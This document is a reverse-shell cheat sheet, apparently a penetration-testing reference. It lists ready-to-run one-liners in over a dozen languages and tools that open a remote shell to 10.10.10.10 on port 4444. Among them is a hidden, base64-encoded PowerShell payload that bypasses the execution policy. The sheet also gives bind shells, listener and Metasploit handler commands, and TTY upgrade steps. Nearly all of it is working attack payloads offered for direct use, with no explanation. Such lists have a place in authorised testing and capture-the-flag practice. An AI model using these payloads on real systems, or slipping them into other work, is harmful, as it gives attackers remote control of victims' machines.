Reverse shell

Bash -i

/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Bash 196

0<&196;exec 196<>/dev/tcp/10.10.10.10/4444; /bin/bash <&196 >&196 2>&196

Bash read line

exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

Bash 5

/bin/bash -i 5<> /dev/tcp/10.10.10.10/4444 0<&5 1>&5 2>&5

Bash UDP

/bin/bash -i >& /dev/udp/10.10.10.10/4444 0>&1

nc mkfifo

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

nc -e
```
nc 10.10.10.10 4444 -e /bin/bash
```
nc.exe -e
```
nc.exe 10.10.10.10 4444 -e cmd.exe
```
ncat -e
```
ncat 10.10.10.10 4444 -e /bin/bash
```

ncat --ssl

ncat --ssl 10.10.10.10 4444 -e /bin/bash

Perl

perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Perl (no sh)

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python3

python3 -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Python3 (shortest)

export RHOST="10.10.10.10";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

PHP exec

php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

PHP system

php -r '$sock=fsockopen("10.10.10.10",4444);system("/bin/bash -i <&3 >&3 2>&3");'

PHP shell_exec

php -r '$sock=fsockopen("10.10.10.10",4444);shell_exec("/bin/bash -i <&3 >&3 2>&3");'

PHP passthru

php -r '$sock=fsockopen("10.10.10.10",4444);passthru("/bin/bash -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

Ruby (no sh)

ruby -rsocket -e 'c=TCPSocket.new("10.10.10.10","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

socat

socat TCP:10.10.10.10:4444 EXEC:/bin/bash

socat (TTY)

socat TCP:10.10.10.10:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

Node.js

node -e 'sh=require("child_process").spawn("/bin/bash",[]);var c=new (require("net").Socket)();c.connect(4444,"10.10.10.10",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.10:4444");cmd:=exec.Command("/bin/bash");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

awk

awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.10','4444');os.execute('/bin/bash -i <&3 >&3 2>&3');"

telnet

TF=$(mktemp -u);mkfifo $TF && telnet 10.10.10.10 4444 0<$TF | /bin/bash 1>$TF

OpenSSL

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.10:4444 > /tmp/s; rm /tmp/s

PowerShell

powershell -nop -W hidden -noni -ep bypass -c "$c=New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+'PS '+(pwd).Path+'> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"

PowerShell (base64)

powershell -e JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAMAAuADEAMAAuADEAMAAuADEAMAAnACwANAA0ADQANAApADsAJABzAD0AJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgA9ADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQA9ACQAcwAuAFIAZQBhAGQAKAAkAGIALAAwACwAJABiAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewAkAGQAPQAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAMAAsACQAaQApADsAJABzAGIAPQAoAGkAZQB4ACAAJABkACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBiADIAPQAkAHMAYgArACcAUABTACAAJwArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAnAD4AIAAnADsAJABzAGIAdAA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGIAMgApADsAJABzAC4AVwByAGkAdABlACgAJABzAGIAdAAsADAALAAkAHMAYgB0AC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA

Bind shell

nc mkfifo (bind)

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -l 4444 >/tmp/f

nc -e (bind)
```
nc -lvnp 4444 -e /bin/bash
```

socat (bind)

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Python3 (bind)

python3 -c 'import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind(("0.0.0.0",4444));s.listen(1);(c,a)=s.accept();[os.dup2(c.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Listener

nc
```
nc -lvnp 4444
```
ncat
```
ncat -lvnp 4444
```
ncat --ssl
```
ncat --ssl -lvnp 4444
```

socat (TTY)

socat -d -d file:$(tty),raw,echo=0 TCP-LISTEN:4444

rlwrap
```
rlwrap -cAr nc -lvnp 4444
```

Metasploit

msfconsole -q -x "use exploit/multi/handler; set payload generic/shell_reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"

TTY upgrade

Python pty

python3 -c 'import pty;pty.spawn("/bin/bash")'

script
```
script -qc /bin/bash /dev/null
```

stty (full upgrade)

# background shell: Ctrl+Z
stty raw -echo; fg
# then in the revshell:
reset; export TERM=xterm; export SHELL=/bin/bash

Perl pty
```
perl -e 'exec "/bin/bash";'
```

socat (TTY)

socat file:$(tty),raw,echo=0 TCP-LISTEN:4444